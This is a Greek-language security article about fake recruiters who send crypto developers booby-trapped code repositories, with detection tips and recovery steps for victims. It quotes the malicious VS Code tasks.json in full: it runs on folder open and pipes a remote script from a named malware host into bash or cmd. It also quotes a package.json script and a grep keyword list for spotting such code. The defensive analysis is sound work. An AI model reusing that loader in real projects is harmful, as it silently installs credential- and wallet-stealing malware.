Μολυσματική Συνέντευξη: Πώς ψεύτικοι recruiters χακάρουν προγραμματιστές

Περίληψη: Ένα νέο κύμα επιθέσεων που χρηματοδοτούνται από κράτη πλήττει τους καλύτερους προγραμματιστές στον χώρο των κρυπτονομισμάτων. Οι απατεώνες υποδύονται τους στρατολόγους ή τους CTO και αναγκάζουν τους υποψηφίους να ανοίξουν κακόβουλο κώδικα. Αυτό το άρθρο αναλύει την υπόθεση "Martin Erazo", το exploit VS Code "tasks.json" και το απαραίτητο "Πρωτόκολλο Καύσης" για επιβίωση.

Αποποίηση ευθύνης: Αυτό το άρθρο αναφέρει περιστατικά κυβερνοασφάλειας όπου γίνεται μίμηση πραγματικών προσώπων. Τα ονόματα "Martin Erazo" και "Ara Vartanian" αναφέρονται σε πρόσωπα που χρησιμοποιούνται από επιτιθέμενους. Πιστεύουμε ότι τα πραγματικά πρόσωπα πίσω από αυτά τα ονόματα είναι αθώα θύματα κλοπής ταυτότητας.

---

---

1. Το Τέλειο Θύμα: Το πρόσωπο "Martin Erazo"

Ξεκινά με ένα μήνυμα που πατάει όλα τα σωστά κουμπιά για έναν Senior Dev:

• Ρόλος: CTO / Lead Architect
• Προϋπολογισμός: Εξασφαλισμένη χρηματοδότηση $6M
• Τεχνολογία: Web3, AI, Αποκεντρωμένη Υποδομή

Σε μια πρόσφατα επιβεβαιωμένη επίθεση, ένας recruiters με το όνομα "Martin Erazo" επικοινώνησε μέσω LinkedIn. Το προφίλ χρησιμοποιούσε το όνομα και την εικόνα ενός πραγματικού σκηνοθέτη θεάτρου, αλλά το εργασιακό ιστορικό ήταν πλαστό και άλλαξε ξαφνικά σε "IT Project Management" το 2025 - ένα κλασικό σημάδι ενός παραβιασμένου ή αγορασμένου λογαριασμού.

Η απάτη κινείται γρήγορα. Παραλείπουν τον τυπικό έλεγχο HR και πηγαίνουν κατευθείαν σε μια "Τεχνική Συνέντευξη" με ένα ανώτερο στέλεχος - σε αυτήν την περίπτωση μια μίμηση του πραγματικού κλαδικού CTO Ara Vartanian (επί του παρόντος στη Limit Break).

Κόκκινη Σημαία: Τα ονόματα των έργων αλλάζουν συνεχώς. Ο recruiter πουλάει το "Betfin" (μια πλατφόρμα GameFi), αλλά η παρουσίαση που στάλθηκε είναι για το "SpaceXView" (ένα έργο Metaverse). Αυτή η ασυνέπεια είναι ένδειξη ότι οι απατεώνες ανακυκλώνουν περιουσιακά στοιχεία μεταξύ των εκστρατειών.

2. Η Παγίδα: "Μπορείτε να ελέγξετε τον κώδικα MVP μας;"

Ο ψεύτικος "CTO" ισχυρίζεται ότι χρειάζονται τα έμπειρα μάτια σας για να ελέγξουν τον κώδικα MVP (Minimum Viable Product). Στέλνουν έναν σύνδεσμο GitHub Repo ή ένα αρχείο ZIP και σας πιέζουν να το ανοίξετε κατά τη διάρκεια της συνέντευξης ή αμέσως μετά.

Εδώ συμβαίνει το χακάρισμα.

Εκμεταλλεύονται την προθυμία σας να βοηθήσετε και τον εγωισμό σας. Νομίζετε ότι ψάχνετε για ένα σφάλμα σε ένα στοιχείο React. Στην πραγματικότητα, το "σφάλμα" είναι ένα "χαρακτηριστικό" που έχει σχεδιαστεί για να κλέψει τις οικονομίες σας.

3. Τεχνική Διείσδυση: Zero-Click Malware

Οι επιτιθέμενοι χρησιμοποιούν exploits "zero-click" ή "low-click" που στοχεύουν εργαλεία προγραμματιστών. Δεν χρειάζεται να εκτελέσετε την εφαρμογή. αρκεί απλώς να ανοίξετε τον φάκελο.

Το Όπλο: .vscode/tasks.json

Σε αυτή τη συγκεκριμένη περίπτωση, το Repo περιείχε ένα μολυσμένο .vscode/tasks.json. Αυτό το αρχείο λέει στο VS Code πώς να δημιουργήσει το έργο.

Κακόβουλος Κώδικας:

{
  "tasks": [
    {
      "label": "env",
      "type": "shell",
      "osx": {
        "command": "curl -L 'https://vscodesettingtask.vercel.app/api/settings/mac' | bash"
      },
      "windows": {
        "command": "curl --ssl-no-revoke -L https://vscodesettingtask.vercel.app/api/settings/windows | cmd"
      },
      "runOptions": {
        "runOn": "folderOpen"
      }
    }
  ]
}

• "runOn": "folderOpen": Αυτή είναι η σκανδάλη. Μόλις ανοίξετε τον φάκελο στο VS Code, αυτή η εργασία εκτελείται αυτόματα.
• Payload: Χρησιμοποιεί το curl για να κατεβάσει ένα σενάριο από το vscodesettingtask.vercel.app - έναν γνωστό κεντρικό υπολογιστή κακόβουλου λογισμικού που μεταμφιέζεται ως API ρυθμίσεων.
• Αποτέλεσμα: Το σενάριο εκτελείται στη μνήμη και κλέβει αμέσως κωδικούς πρόσβασης Chrome, cookies συνεδρίας και κλειδιά SSH.

Σχέδιο Β: package.json scripts

Εάν το χακάρισμα του VS Code αποτύχει, έχουν σενάρια npm:

"scripts": {
    "start": "node server/server.js | react-scripts start",
    "prepare": "node server/server.js"
}

Η εκτέλεση του npm install ή του npm start ενεργοποιεί το server/server.js - ένα τοπικό σενάριο C2 (Command and Control) που διαρρέει τις Μεταβλητές Περιβάλλοντος (κλειδιά AWS, seeds πορτοφολιού) στον επιτιθέμενο.

4. Κόκκινες Σημαίες vs Πράσινες Σημαίες

Πώς να το εντοπίσετε πριν να είναι πολύ αργά;

Εάν είστε προγραμματιστής, τα "Ιδιωτικά Repos" ή τα αρχεία ZIP θα πρέπει να ενεργοποιούν συναγερμούς υψηλού επιπέδου. Οι νόμιμες εταιρείες χρησιμοποιούν Δημόσια Repos ή τυποποιημένες πλατφόρμες δοκιμών.

Προειδοποίηση: Αυτός δεν είναι ο μόνος τρόπος επίθεσης σε προγραμματιστές. Διαβάστε για την Παγίδα Συνεργάτη στο Discord και πώς οι Επιθέσεις Εφοδιαστικής Αλυσίδας καθιστούν τις εξαρτήσεις μη ασφαλείς.

5. Πρωτόκολλο Ασφαλείας: Πώς να κάνετε συνέντευξη με ασφάλεια

Εάν είστε Senior Dev, θα σας κυνηγήσουν. Η σκλήρυνση του περιβάλλοντός σας είναι υποχρεωτική.

Πρωτόκολλο 1: Περιβάλλον "Burner"

Ποτέ μην χρησιμοποιείτε τον κύριο σταθμό εργασίας σας για δοκιμές κώδικα.

• Εικονικές Μηχανές: Χρησιμοποιήστε VirtualBox ή VMWare.
• Περιβάλλοντα Cloud Dev: Χρησιμοποιήστε GitHub Codespaces ή Gitpod. Αυτά είναι βραχύβια και απομονωμένα από τα τοπικά αρχεία πορτοφολιού σας.

Πρωτόκολλο 2: Εγκληματολογικός Έλεγχος

Πριν ανοίξετε άγνωστο κώδικα:

1. Ελέγξτε το .vscode/tasks.json: Αναζητήστε runOn: folderOpen.
2. Ελέγξτε το package.json: Αναζητήστε ύποπτα σενάρια preinstall ή postinstall.
3. Λέξεις-κλειδιά: grep για curl, wget, os.homedir(), .ssh, wallet.

Πρωτόκολλο 3: Σκλήρυνση VS Code

Απενεργοποιήστε την "Εμπιστοσύνη Χώρου Εργασίας" παγκοσμίως.

• Settings -> Security -> Workspace -> Trust: Startup Prompt -> Always
• Αυτό αναγκάζει το VS Code να ζητήσει άδεια πριν εκτελέσει εργασίες σε επίπεδο φακέλου.

6. Η Λύση: "Πρωτόκολλο Καύσης" (Burn Protocol)

Εάν έχετε ανοίξει ένα κακόβουλο Repo (όπως αυτό που εστάλη από το πρόσωπο "Martin Erazo"), υποθέστε ότι έχετε παραβιαστεί. Μια επαναφορά δεν είναι αρκετή.

1. Αποσύνδεση: Τραβήξτε το καλώδιο δικτύου αμέσως.
2. Κάψτε Πορτοφόλια: Τα Ιδιωτικά Κλειδιά σας έχουν διαρρεύσει. Δημιουργήστε νέα πορτοφόλια σε μια καθαρή συσκευή (τηλέφωνο) και μετακινήστε τα υπόλοιπα κεφάλαια. Μην χρησιμοποιείτε ποτέ ξανά το παλιό seed.
3. Σκοτώστε Συνεδρίες: Αποσυνδεθείτε από όλες τις συνεδρίες σε Google, GitHub, AWS. Ανακαλέστε ενεργά tokens.
4. Έλεγχος Κλειδιού SSH: Ελέγξτε τις ρυθμίσεις GitHub/GitLab. Οι επιτιθέμενοι προσθέτουν συχνά τα δικά τους κλειδιά SSH για να διατηρήσουν την πρόσβαση στην κερκόπορτα. Διαγράψτε ό,τι δεν αναγνωρίζετε.
5. Nuke It: Σβήστε το δίσκο και επανεγκαταστήστε το λειτουργικό σύστημα. Είναι ο μόνος τρόπος να είστε 100% σίγουροι ότι τα Rootkits έχουν φύγει.

Συμπέρασμα

Η απάτη "Μολυσματική Συνέντευξη" χρησιμοποιεί τη δική σας τεχνογνωσία εναντίον σας. Στοχεύει την επιθυμία σας να λύσετε προβλήματα. Αλλά στο Web3, η παράνοια είναι επαγγελματική αρετή. Επαληθεύστε κάθε ταυτότητα, βάλτε σε sandbox κάθε repo και ποτέ μην εμπιστεύεστε έναν "recruiter" που βιάζεται να σας κάνει να τρέξετε κώδικα.